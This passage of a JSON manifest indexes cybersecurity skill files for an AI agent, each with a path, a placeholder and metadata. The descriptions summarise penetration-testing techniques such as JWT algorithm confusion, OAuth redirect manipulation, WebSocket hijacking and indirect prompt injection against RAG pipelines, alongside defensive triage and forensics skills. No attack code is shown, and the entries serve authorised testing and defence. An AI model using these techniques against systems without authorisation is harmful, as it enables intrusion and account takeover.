tests.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","xxe","xml-injection","owasp","web-security","burpsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1048"]},"isInternal":false,"tokens":3327,"sizeBytes":12223},{"name":"api-reference.md","path":"skills/testing-jwt-token-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-jwt-token-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-jwt-token-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":543,"sizeBytes":2117},{"name":"SKILL.md","path":"skills/testing-jwt-token-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-jwt-token-security/SKILL.md","title":"testing-jwt-token-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-jwt-token-security%2FSKILL.md -->","frontmatter":{"name":"testing-jwt-token-security","description":"Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","jwt","authentication","web-security","token-security","burpsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1027"]},"isInternal":false,"tokens":3145,"sizeBytes":11467},{"name":"template.md","path":"skills/testing-mobile-api-authentication/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-mobile-api-authentication/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":297,"sizeBytes":971},{"name":"api-reference.md","path":"skills/testing-mobile-api-authentication/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-mobile-api-authentication/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":433,"sizeBytes":1821},{"name":"standards.md","path":"skills/testing-mobile-api-authentication/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-mobile-api-authentication/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":334,"sizeBytes":1458},{"name":"workflows.md","path":"skills/testing-mobile-api-authentication/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-mobile-api-authentication/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":241,"sizeBytes":1517},{"name":"SKILL.md","path":"skills/testing-mobile-api-authentication/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-mobile-api-authentication/SKILL.md","title":"testing-mobile-api-authentication","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2FSKILL.md -->","frontmatter":{"name":"testing-mobile-api-authentication","description":"Tests authentication and authorization mechanisms in mobile application APIs to identify broken authentication, insecure token management, session fixation, privilege escalation, and IDOR vulnerabilities. Use when performing API security assessments against mobile app backends, testing JWT implementations, evaluating OAuth flows, or assessing session management. Activates for requests involving mobile API auth testing, token security assessment, OAuth mobile flow testing, or API authorization bypass.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","ios","api-security","authentication","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1068"]},"isInternal":false,"tokens":1656,"sizeBytes":7134},{"name":"api-reference.md","path":"skills/testing-oauth2-implementation-flaws/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-oauth2-implementation-flaws/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-oauth2-implementation-flaws%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":461,"sizeBytes":1903},{"name":"SKILL.md","path":"skills/testing-oauth2-implementation-flaws/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-oauth2-implementation-flaws/SKILL.md","title":"testing-oauth2-implementation-flaws","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-oauth2-implementation-flaws%2FSKILL.md -->","frontmatter":{"name":"testing-oauth2-implementation-flaws","description":"Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension to probe the authorization server, client, and token handling. Use when assessing OAuth2/OIDC flows or SSO systems for misconfigurations enabling account takeover.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","oauth2","oidc","authentication","redirect-uri","token-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1027","T1070"]},"isInternal":false,"tokens":3912,"sizeBytes":17351},{"name":"api-reference.md","path":"skills/testing-prompt-injection-in-rag-pipelines/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-prompt-injection-in-rag-pipelines/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":681,"sizeBytes":2626},{"name":"standards.md","path":"skills/testing-prompt-injection-in-rag-pipelines/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-prompt-injection-in-rag-pipelines/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":440,"sizeBytes":1736},{"name":"SKILL.md","path":"skills/testing-prompt-injection-in-rag-pipelines/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-prompt-injection-in-rag-pipelines/SKILL.md","title":"testing-prompt-injection-in-rag-pipelines","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2FSKILL.md -->","frontmatter":{"name":"testing-prompt-injection-in-rag-pipelines","description":"Probes Retrieval-Augmented Generation pipelines for indirect prompt injection via poisoned retrieved documents and embedding-space manipulation, using NVIDIA garak, Promptfoo red-team plugins, and Microsoft PyRIT against vector stores like FAISS, Chroma, Pinecone, or pgvector. Use when security-testing a RAG chatbot or document-Q&A system, validating retrieval guardrails, or gating CI/CD on prompt-template/retriever changes.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","prompt-injection","rag","llm-red-teaming","garak","promptfoo","pyrit","owasp-llm"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7"],"atlas_techniques":["AML.T0051"]},"isInternal":false,"tokens":3045,"sizeBytes":13019},{"name":"api-reference.md","path":"skills/testing-ransomware-recovery-procedures/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-ransomware-recovery-procedures/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-ransomware-recovery-procedures%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1103,"sizeBytes":3900},{"name":"SKILL.md","path":"skills/testing-ransomware-recovery-procedures/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-ransomware-recovery-procedures/SKILL.md","title":"testing-ransomware-recovery-procedures","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-ransomware-recovery-procedures%2FSKILL.md -->","frontmatter":{"name":"testing-ransomware-recovery-procedures","description":"Tests and validates ransomware recovery procedures - backup restore operations (e.g. with Restic), RTO/RPO target verification, recovery sequencing, and clean-restore validation - to confirm organizational resilience against destructive ransomware attacks. Use when validating that recovery plans work under realistic conditions, measuring RTO/RPO against business requirements, or testing restore integrity after simulated encryption.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-response","ransomware","disaster-recovery","backup","rto","rpo","resilience"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"],"mitre_attack":["T1486","T1490","T1070","T1078","T1489"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization"],"techniques":[{"id":"T1531","name":"Account Access Removal","tactic":"positioning","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":1837,"sizeBytes":7781},{"name":"api-reference.md","path":"skills/testing-websocket-api-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-websocket-api-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-websocket-api-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":455,"sizeBytes":1954},{"name":"SKILL.md","path":"skills/testing-websocket-api-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-websocket-api-security/SKILL.md","title":"testing-websocket-api-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-websocket-api-security%2FSKILL.md -->","frontmatter":{"name":"testing-websocket-api-security","description":"Tests WebSocket API implementations for missing upgrade-handshake authentication, Cross-Site WebSocket Hijacking (CSWSH), message injection, insufficient input validation, message-flooding DoS, and information leakage, using Burp Suite's WebSocket interception and the wscat CLI to craft malicious payloads. Use for real-time API penetration testing or CSWSH/authorization-bypass assessments on WebSocket channels.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","websocket","cswsh","real-time","injection","authentication"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1055","T1059"]},"isInternal":false,"tokens":3994,"sizeBytes":18434},{"name":"template.md","path":"skills/tracking-threat-actor-infrastructure/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/tracking-threat-actor-infrastructure/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":337,"sizeBytes":1357},{"name":"api-reference.md","path":"skills/tracking-threat-actor-infrastructure/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/tracking-threat-actor-infrastructure/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":492,"sizeBytes":1892},{"name":"standards.md","path":"skills/tracking-threat-actor-infrastructure/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/tracking-threat-actor-infrastructure/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":465,"sizeBytes":1661},{"name":"workflows.md","path":"skills/tracking-threat-actor-infrastructure/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/tracking-threat-actor-infrastructure/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":365,"sizeBytes":2422},{"name":"SKILL.md","path":"skills/tracking-threat-actor-infrastructure/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/tracking-threat-actor-infrastructure/SKILL.md","title":"tracking-threat-actor-infrastructure","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2FSKILL.md -->","frontmatter":{"name":"tracking-threat-actor-infrastructure","description":"Discovers and maps adversary-controlled infrastructure (C2 servers, phishing domains, exploit-kit hosts, bulletproof hosting) by pivoting across passive DNS, certificate transparency logs, Shodan/Censys scans, WHOIS records, and network fingerprints (JARM/JA3S). Use when tracking threat actor infrastructure, expanding a known IOC into related assets, or producing STIX-based threat intelligence during a CTI investigation.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","infrastructure-tracking","shodan","censys","passive-dns"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1566"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development"],"techniques":[{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"T1583.008","name":"Acquire Infrastructure: Malvertising","tactic":"resource-development","source":"attack"},{"id":"T1583.003","name":"Acquire Infrastructure: Virtual Private Network or Server","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1608.006","name":"Stage Capabilities: SEO Poisoning","tactic":"resource-development","source":"attack"}]}},"isInternal":false,"tokens":2625,"sizeBytes":11527},{"name":"api-reference.md","path":"skills/triaging-security-alerts-in-splunk/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-alerts-in-splunk/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-alerts-in-splunk%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":524,"sizeBytes":2140},{"name":"SKILL.md","path":"skills/triaging-security-alerts-in-splunk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-alerts-in-splunk/SKILL.md","title":"triaging-security-alerts-in-splunk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-alerts-in-splunk%2FSKILL.md -->","frontmatter":{"name":"triaging-security-alerts-in-splunk","description":"Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when SOC analysts face queued alerts from correlation searches, need to prioritize investigation order, or must document triage decisions for handoff to Tier 2/3 analysts.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","splunk","alert-triage","siem","notable-events","correlation-search","incident-review"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":2057,"sizeBytes":8491},{"name":"template.md","path":"skills/triaging-security-incident-with-ir-playbook/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-incident-with-ir-playbook/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":795,"sizeBytes":2921},{"name":"api-reference.md","path":"skills/triaging-security-incident-with-ir-playbook/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-incident-with-ir-playbook/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":482,"sizeBytes":1963},{"name":"standards.md","path":"skills/triaging-security-incident-with-ir-playbook/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-incident-with-ir-playbook/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":538,"sizeBytes":2361},{"name":"workflows.md","path":"skills/triaging-security-incident-with-ir-playbook/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-incident-with-ir-playbook/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1169,"sizeBytes":4705},{"name":"SKILL.md","path":"skills/triaging-security-incident-with-ir-playbook/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-incident-with-ir-playbook/SKILL.md","title":"triaging-security-incident-with-ir-playbook","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2FSKILL.md -->","frontmatter":{"name":"triaging-security-incident-with-ir-playbook","description":"Classifies and prioritizes security incidents using structured IR playbooks and SIEM/case-management queries (Splunk, TheHive) to determine severity, assign response teams, and initiate the appropriate response procedures. Use when a new SOC alert needs triage, multiple concurrent incidents require prioritization, or automated triage rules need validation or tuning.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-response","triage","playbook","severity-classification","soc"],"mitre_attack":["T1486","T1490","T1070","T1078"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2322,"sizeBytes":8835},{"name":"api-reference.md","path":"skills/triaging-security-incident/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-incident/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":637,"sizeBytes":2376},{"name":"SKILL.md","path":"skills/triaging-security-incident/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-security-incident/SKILL.md","title":"triaging-security-incident","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident%2FSKILL.md -->","frontmatter":{"name":"triaging-security-incident","description":"Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-triage","NIST-800-61","SANS-PICERL","severity-classification","SOC-operations"],"mitre_attack":["T1486","T1490","T1070","T1078"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2168,"sizeBytes":9391},{"name":"api-reference.md","path":"skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":563,"sizeBytes":2178},{"name":"standards.md","path":"skills/triaging-vulnerabilities-with-ssvc-framework/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-vulnerabilities-with-ssvc-framework/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":827,"sizeBytes":3294},{"name":"workflows.md","path":"skills/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1072,"sizeBytes":4350},{"name":"SKILL.md","path":"skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md","title":"triaging-vulnerabilities-with-ssvc-framework","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2FSKILL.md -->","frontmatter":{"name":"triaging-vulnerabilities-with-ssvc-framework","description":"Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["ssvc","vulnerability-triage","cisa","vulnerability-prioritization","decision-tree","cvss","remediation","risk-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":1987,"sizeBytes":7768},{"name":"api-reference.md","path":"skills/triaging-windows-with-kape/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-windows-with-kape/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":916,"sizeBytes":3178},{"name":"standards.md","path":"skills/triaging-windows-with-kape/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-windows-with-kape/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":266,"sizeBytes":1131},{"name":"SKILL.md","path":"skills/triaging-windows-with-kape/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/triaging-windows-with-kape/SKILL.md","title":"triaging-windows-with-kape","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2FSKILL.md -->","frontmatter":{"name":"triaging-windows-with-kape","description":"Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["digital-forensics","kape","triage","artifact-collection","incident-response","eric-zimmerman","dfir","windows-forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03"],"mitre_attack":["T1005"]},"isInternal":false,"tokens":2288,"sizeBytes":9200},{"name":"api-reference.md","path":"skills/validating-backup-integrity-for-recovery/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/validating-backup-integrity-for-recovery/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-backup-integrity-for-recovery%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1201,"sizeBytes":4005},{"name":"SKILL.md","path":"skills/validating-backup-integrity-for-recovery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/validating-backup-integrity-for-recovery/SKILL.md","title":"validating-backup-integrity-for-recovery","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-backup-integrity-for-recovery%2FSKILL.md -->","frontmatter":{"name":"validating-backup-integrity-for-recovery","description":"Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or 